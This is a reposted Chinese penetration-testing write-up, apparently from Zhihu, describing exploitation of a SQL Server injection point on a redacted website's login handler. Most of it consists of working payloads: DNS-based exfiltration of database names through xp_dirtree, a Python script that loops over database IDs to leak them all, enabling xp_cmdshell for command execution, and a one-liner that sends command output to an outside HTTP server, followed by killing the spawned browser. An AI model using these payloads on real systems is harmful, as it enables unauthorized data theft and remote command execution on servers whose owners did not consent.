转自:https://zhuanlan.zhihu.com/p/23631785
上周我们团队对某网站进行安全测试的时候发现这样一个注入点:http://xxxx.xxxx.com.cn/Login.ashx?Id=123';WAITFOR DELAY '0:0:5'--
这个字符注入点经过测试,只支持bool型注入和延时注入(可多行sql语句执行)。 这两种注入类型的缺点就是速度慢,效率低,一个是基于对错判断数据,一个是基于访问时间来判断数据,dnslog的出现就正好弥补了这样的缺陷。 说到这里我不得不吐槽一下,cloudeye作为一个dnslog平台已经关门大吉了却不把web服务器关掉,让我误以为是我操作不当导致收不到日志,后来用的另外一个dnslog平台。。 回到正题,经过推测这个注入点是sql server数据库的,sql server如果要进行dns解析的话用master..xp_dirtree这个存储过程,最终构造出如下语句: - http://xxxx.xxxx.com.cn/Login.ashx?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
复制代码解释一下整个语句的意思 - DECLARE @host varchar(1024);
复制代码这条语句的意思是注册一个名为@host的变量,类型为varchar - SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link';
复制代码这条语句的意思是获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。 打个比方,如果db_name()返回值是abc 那么拼接后就是@host=abc.xxxxxxxxx.dnslog.link - EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
复制代码这条语句的意思就是咧远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了。 如此以来便得到了db_name()的值。 但是这里有个坑,不能获取@@version,我想了一下 可能是因为@@version中有空格换行等字符,导致拼接出来的子域名不符合规范,所以无法完成解析。后来我准备吧@@version hex一下再拼接进域名里面。。。但是我发现。。sql server居然没有hex()函数??? 后来我一通百度之后也没找到sql server把字符串转为16进制的函数。。这就很尴尬了,有找到的麻烦告诉我下。 接下来,我写了个脚本,吧所有的裤名跑了出来。 - import urllib2
- for i in range(50):
- if i==0:
- continue
- url = '''http://xxxx.xxxx.com.cn/Login.ashx?Id=123%27;DECLARE%20@host%20varchar(1024);SELECT%20@host=CONVERT(varchar(1048),(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=1%20))%2b%27.xxxxxxxx.dnslog.link%27;EXEC(%27master..xp_dirtree%20%22\\\\%27%2b@host%2b%27\\foobar$%22%27);--'''
- url = url.replace("dbid=1","dbid="+str(i))
- req = urllib2.Request(url)
- print req.get_full_url()
- print urllib2.urlopen(req).read()
复制代码dns日志如下 到这步其实已经可以dump数据库了,但是我发现还可以继续渗透。 经过测试,我发现是sa权限,于是我开启了xp_cmdshell组件进行命令执行 - http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell 'ping cmdtest.xxxxxxxx.dnslog.link'--
复制代码ping一下,看看dns日志里会不会出现cmdtest.xxxxxxxx.dnslog.link域名的日志,经过查看确实已经收到,由于日志清空了一次 当时没截图,就不复现再截图了。 然后有个问题,就是命令回显的问题。 传统的做法的创建一个两个字段的表,然后吧每次执行cmd 的结果都插入到表里,要查看的时候再取出来。 于是我 - http://xxxx.xxxx.com.cn/Login.ashx?Id=123';create table tmptmp(tmp1 varchar(1024),tmp2 varchar(1024));
复制代码但是我发现表却创建不成功,不知道是何原因。这里有另外一个过于麻烦的思路,那就是把所有的表结构都跑出来,然后找一个能插入cmd结果的表,将返回结果插入到那张表里。 但是凡事都要找最优解。。于是我想了另一个办法: 将一个命令的执行结果作为另一个命令的参数,就比如,先执行whoami拿到结果,然后ping whoami的结果.xxxxxxxx.dnslog.link 这样就可以把结果放到子域名里通过dns日志拿到了。。 可是我找了半天没找到相关的语法,后来基友这么一条语句搞定了: - http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell "for /F %s in ('dir') do start http://123.123.123.123/?%s"--
复制代码搭建http服务器看web日志,利用for设置变量存储命令执行结果 start进行http访问并带上结果 成功收到结果,这儿我想 用ping命令进行拼接然后读取dns日志应该也是没问题的,不过应该没走http好使 由于start会启动浏览器,所以要关闭一下浏览器 - http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--
复制代码
|